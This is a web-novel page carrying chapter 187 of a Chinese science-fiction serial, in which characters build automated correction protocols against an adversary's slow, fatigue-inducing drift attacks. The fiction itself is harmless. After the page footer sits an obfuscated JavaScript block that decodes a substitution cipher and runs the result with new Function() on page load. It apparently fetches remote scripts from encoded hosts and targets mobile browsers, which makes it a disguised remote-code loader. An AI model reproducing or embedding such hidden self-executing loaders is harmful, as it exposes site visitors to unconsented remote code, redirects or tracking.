首页
第187章 回正疲劳
返回
关灯 护眼:关 字号:小

第187章 回正疲劳

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第187章回正疲劳(第1/2页)
    DAY-RPT-18360。
    边界回正机制常态运行后的第六十日,临界带落入率从异常尖峰回落到自然区间,保守动作频率下降,创新暖启动协议重新稳定,责任簇的最小动作汇总不再成为默认习惯,多星系统在长时漂移背景下恢复了“可用的安全”。
    表面上,区间腐蚀被压住了。
    敌人啃不动阈值,也啃不动边缘的自然形态。
    开关复活的空间被再次压缩。
    可就在这份“压住”的平静里,机要监递上一份疲劳曲线。
    它没有红线,没有告警,像一条慢慢抬头的脉搏。
    存在性编号:ANL-FAT-01
    标题:**回正触发频率上升,维护者修复时长延长**
    沈绫皱眉:“回正不是好事吗?触发多说明机制在工作。”
    机要监摇头:“触发多说明边缘不断被推偏。修复时长延长说明:推偏的频率开始超过维护者的恢复速度。”
    江砚的眼神一下子冷了。
    边界回正机制解决的是“尖峰”。
    尖峰被削平后,敌人可以换一种更慢、更耐心的方式:
    不制造尖峰,制造“持续偏移”,让回正像一项永无止境的家务。
    家务做久了,人会疲惫。
    疲惫会让人渴望简化。
    简化会让入口复活。
    敌人开始夺走的,不是阈值、不变量、历史默认、审计带宽,而是更柔软的一样东西:
    **修复的耐心。**
    这叫:回正疲劳。
    ---
    ###一、回正疲劳的结构:推偏频率>回正恢复速度
    机要监把过去三个月的数据画成两个曲线:
    *P曲线:推偏事件发生频率(感知参数漂移、采样策略异常、敏感度微偏、解释档位抖动)
    *R曲线:回正完成速度(从检测尖峰到通过分布试验场、到完成回正上线)
    存在性编号:ANL-FAT-01A
    内容:P曲线上升1.9倍,R曲线变慢1.4倍。两者差距扩大。
    这意味着:
    回正机制仍有效,但开始“追不上”。
    敌人不需要突破你。
    只要让你一直追。
    一直追,你就会累;累了,你就会想“算了,别回正了”“干脆放宽点”“先让系统跑起来”。
    那一刻,开关就会以“省力”之名复活。
    ---
    ###二、推偏事件的新形态:不再尖峰,而是“微斜坡”
    之前区间腐蚀靠尖峰:边界±ε出现异常聚集。
    现在推偏事件呈现“微斜坡”:分布整体向边界移动一点点,持续移动,但不形成尖峰。
    尖峰检测不触发,边界回正不会自动启动。
    只有当落入率持续偏高一段时间,才会触发“趋势回正”。
    趋势回正比尖峰回正慢,需要更多样本确认。
    更慢,就更消耗耐心。
    存在性编号:ANL-FAT-02
    ANL-FAT-02A:尖峰指数下降(敌人避免尖峰)
    ANL-FAT-02B:斜坡指数上升(缓慢偏移)
    ANL-FAT-02C:趋势回正触发占比上升
    沈绫低声:“他们学会了不触发我们的尖峰雷达。”
    江砚点头:“他们从爆破转为渗透。渗透最耗人。”
    ---
    ###三、渗透的来源:合规改进与环境自然变化混在一起
    最难的是区分:
    这点偏移到底是敌人推的,还是长时漂移自然造成的?
    敌人正是利用这种不可分辨性:
    他们把推偏藏在自然噪声里,让你无法指控,也无法彻底否决每一次微调。
    机要监发现,推偏事件往往伴随一些“很合理”的请求:
    *“为了更贴合漂移期,微调采样覆盖”
    *“为了减少误读误报,微调敏感度阈值”
    *“为了降低维护成本,微调解释档位区间”
    这些请求都像维护者自己会提出的。
    敌人要的就是让维护者怀疑自己:
    “是不是我太敏感?是不是这就是自然?是不是不需要每次都回正?”
    当维护者开始自我怀疑,耐心就会下降。
    ---
    ###四、回正疲劳的第一危险:维护者开始“回正降级”
    机要监发现一种行为变化:
    存在性编号:ANL-FAT-03
    内容:部分维护者在趋势偏移出现时,不再走完整分布试验场流程,而选择“暂缓观察”,或仅做局部回滚,不生成完整回正回执。
    这就是回正降级。
    回正降级看似节省时间,实际上是把慢性偏移留在系统里。
    慢性偏移叠加,会逐渐逼近临界带。
    逼近临界带,人们又会说“总在临界带,阈值太紧”。
    区间腐蚀循环会重新出现。
    敌人不需要推很大,只要你少回正几次。
    少回正几次,边缘就会慢慢坏掉。
    ---
    ###五、回正疲劳的第二危险:公众开始厌倦“修修补补”的叙事
    当系统频繁发布回正摘要、回正对照图、回正回执,人群会出现一种反应:
    >“怎么老在回正?系统是不是不稳定?”
    >“是不是你们太敏感?”
    >“是不是规则过度复杂?”
    这是一种疲劳叙事。
    敌人会推波助澜:
    “看,你们每天都在修边缘,说明你们的机制本身有问题。应该重构、简化、统一。”
    简化与统一就是开关的前奏。
    他们把维护变成负担,让维护成为“系统不可靠”的证据。
    这是对免疫记忆的反向利用:
    你越修,他们越说你不行。
    ---
    ###六、江砚的核心判断:回正不能靠耐心,必须靠“自动化可证明”
    当修复变成家务,家务靠意志。
    意志会被耗尽。
    所以回正机制必须升级:
    从“需要人持续盯着”变成“自动化可证明、可封存、成本低”。
    而且要让外界理解:频繁回正不是不稳定,是边缘被攻击或自然漂移被适配的常态。
    关键不是次数,而是是否留下可查证据。
    江砚提出“回正自动化协议”。
    ---
    ###七、回正自动化协议:把趋势修复从流程变成原语组合
    存在性编号:RECT-AUTO-01
    RECT-AUTO-01A:回正原语库(与动作原语类似,但用于感知层参数)
    *R1:采样覆盖回退到基线档位
    *R2:敏感度阈值回退到自然模型区间
    *R3:解释档位重置到封存定义
    *R4:趋势偏移补偿项(仅在漂移期生效的微调,但需封存)
    RECT-AUTO-01B:趋势偏移达到阈值时自动触发回正原语组合(无需人工临时决定)
    RECT-AUTO-01C:触发前自动跑“快速分布形式验证”(用小样本验证不会降低**险识别率)
    RECT-AUTO-01D:触发后自动生成回正回执与对照图,公开摘要按固定窗口发布(避免被噪声追逐)
    RECT-AUTO-01E:若快速验证失败,触发人工分布试验场(高成本路径)并生成L2反例卡草稿
    这套协议的精髓是:
    把多数回正变成低成本自动动作。
    把高成本人工流程只留给真正复杂的偏移。
    让修复耐心不再成为稀缺资源。
    敌人想夺走耐心。
    自动化让耐心不再是关键瓶颈。
    ---
    ###八、漂移期补偿项:承认自然变化,避免把自然当攻击
    回正疲劳的一部分来自不可分辨性:自然漂移与推偏混在一起。
    (本章未完,请点击下一页继续阅读)第187章回正疲劳(第2/2页)
    RECT-AUTO-01的R4补偿项很关键:
    它承认漂移期确实会让自然分布移动,因此回正不应总把一切拉回“旧基线”,而应拉回“漂移期基线”。
    这相当于给自然变化一个合法位置,避免维护者陷入“我们到底在对抗谁”的自我怀疑。
    补偿项不是任意调整。
    它必须封存定义、必须可证、必须在分布试验场自证不会降低操控成本。
    存在性编号:RECT-BASE-01
    RECT-BASE-01A:漂移期基线模型封存
    RECT-BASE-01B:补偿项变更进入分布试验场与操控成本压力测试
    RECT-BASE-01C:补偿项不得使临界带落入率异常上升
    这样一来:
    自然漂移有基线,攻击推偏会留下偏离基线的痕迹。
    痕迹可回正,回正可自动化。
    敌人想把推偏藏在自然里。
    漂移基线封存让自然成为背景,而不是遮挡。
    ---
    ###九、敌人的反击:他们开始攻击“自动回正是黑箱”
    自动化一上线,敌人很快抛出新话术:
    >“你看,系统自动调参了。”
    >“自动回正就是机器决定一切。”
    >“这是更可怕的黑箱。”
    这是把自动化说成权力。
    江砚没有解释“机器不是权力”。
    他直接用责任双账与回正回执透明化来回应:
    *对外:回正回执摘要(触发原因、不变量不变、分布对照、识别率对照、操控成本区间不下降)
    *对内:完整参数变更链、哈希封存、快速验证结果
    存在性编号:PUB-RECT-01
    PUB-RECT-01A:自动回正触发条件公开(仅结构信号与漂移基线偏离)
    PUB-RECT-01B:快速验证对照图(**险识别率不降、操控成本区间不降)
    PUB-RECT-01C:参数哈希封存编号入口
    PUB-RECT-01D:反例引用(哪些微调会制造边界腐蚀)
    自动化不是黑箱,因为它是可查回执输出。
    它不替人做价值判断,只执行封存动作原语组合。
    价值判断仍在试验场与裁定链里完成。
    ---
    ###十、真正的收益:回正频率仍高,但修复时长大幅下降
    RECT-AUTO-01上线两周后,机要监给出对比:
    存在性编号:ANL-FAT-04
    内容:
    *回正触发频率保持偏高(说明推偏仍在或漂移仍在)
    *平均修复时长下降46%
    *人工分布试验场占比下降到18%
    *维护者“回正降级”行为显著减少
    *临界带落入率保持自然区间
    *创新暖启动通过率稳定
    这说明:
    敌人依然在推边缘,但推边缘不再能耗尽维护者耐心。
    修复不再靠意志,而靠自动化流程。
    回正疲劳被缓解。
    沈绫看着修复时长下降曲线,轻声:“他们抢不到耐心了。”
    江砚点头:“耐心一旦成为资源,就会被夺。我们把它变成流程,就没人能夺。”
    ---
    ###十一、敌人的新尝试:制造“自动回正误判”以重启终审叙事
    敌人不会放弃。他们会尝试攻击自动回正的合法性:
    只要出现一次自动回正导致误判或误调,就能说“看,机器也会错,所以需要终审委员会”。
    这就是把你拉回定标会那条路。
    江砚早有准备:
    FAILSAFE协议与复现裂纹调查链已经能处理“机器错”而不引出权威。
    他为自动回正加了一条“自证失败机制”:
    存在性编号:RECT-FAIL-01
    RECT-FAIL-01A:自动回正后若出现识别率下降或操控成本区间异常,自动回滚到上一版本
    RECT-FAIL-01B:回滚必生成L2反例卡(不可做结论:某类回正原语组合在某漂移条件下不可用)
    RECT-FAIL-01C:触发失败复盘簇(不同于原维护者)
    RECT-FAIL-01D:任何人不得以该失败要求成立终审权威,必须进入试验场自证
    这让“自动回正出错”不再是政治危机,而是免疫记忆更新。
    错了就回滚,写反例,再试。
    敌人最爱把错变成权力杠杆。
    现在错只会变成样本库更新。
    ---
    ###十二、回正疲劳的深层意义:敌人开始押注“人类会厌倦维护”
    守望纪元走到这里,敌人的策略越来越像在押注一种人性:
    人会厌倦维护,厌倦规则,厌倦修修补补,厌倦不断更新护栏。
    他们希望你最终说一句:
    “算了,让一个人来管吧。”
    这句“算了”,就是开关的复活咒语。
    江砚明白:
    对抗这种押注,不是靠更强硬的规定,而是靠降低维护成本,让维护成为一种可持续的日常,而不是意志消耗。
    自动回正、原语库、预算分仓、反例生产线、引用硬化……这些机制的共同方向都是:
    把“守”从英雄行为变成普通行为。
    普通行为不会被厌倦得那么快。
    ---
    ###十三、远域的回应:维护也要“自走”
    远域低频波在同一时期发来简短结构:
    存在性编号:EXT-RECT-01
    内容:**自走回正。**
    彼端似乎也在建立类似机制:
    当其节律偏离漂移基线时,自动进行小幅校正,不需频繁宣示。
    这意味着多星系统正在形成更高层共识:
    维护不能靠英雄,必须靠自走机制。
    共存到极致,连维护形态都趋同。
    ---
    ###十四、沈绫的体感:终于不用每天担心边缘又歪了
    沈绫说:
    “以前每次看到边界落入率波动,我都觉得又要开会、又要试验场、又要解释。现在它自己回正了,我反而能把注意力放回真正的事。”
    江砚点头:
    “这就是我们想要的:把注意力从维护噪声里释放出来,让系统回到创造与共存。”
    沈绫低声:“维护噪声越大,敌人越容易夺注意力。”
    江砚说:“所以我们不只是守边缘,也守注意力的可用性。”
    ---
    ###十五、尾声:当修复不再靠耐心,开关就失去最后的心理杠杆
    DAY-RPT-19000。
    回正疲劳被识别并处置:
    边缘回正自动化协议生效,回正原语库与漂移基线补偿项封存;
    快速分布形式验证让多数回正低成本完成;
    回正回执摘要固定窗口发布,透明但不被噪声追逐;
    自动回正失败机制确保误调可回滚、可复盘、可写反例,避免被政治化;
    维护者修复时长下降,回正降级行为减少,创新暖启动稳定。
    敌人试图夺走修复的耐心,用永无止境的小偏移耗尽维护者意志,逼人渴望简化与权威。
    规则没有用强制压人,也没有交出破冰权。
    规则做了最符合守望纪元逻辑的事:把耐心变成流程,把家务变成自动化可证明。
    当修复不再靠耐心,
    “算了”的诱惑就弱了。
    开关就失去一种最隐蔽的心理杠杆。
    星河无尽,漂移仍在,推偏仍会发生。
    但边缘能自走回正,维护能自走,耐心不再被夺。
    守望纪元继续前行——
    不是把人变成机器,而是让人不必成为耗尽自己的守门人。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();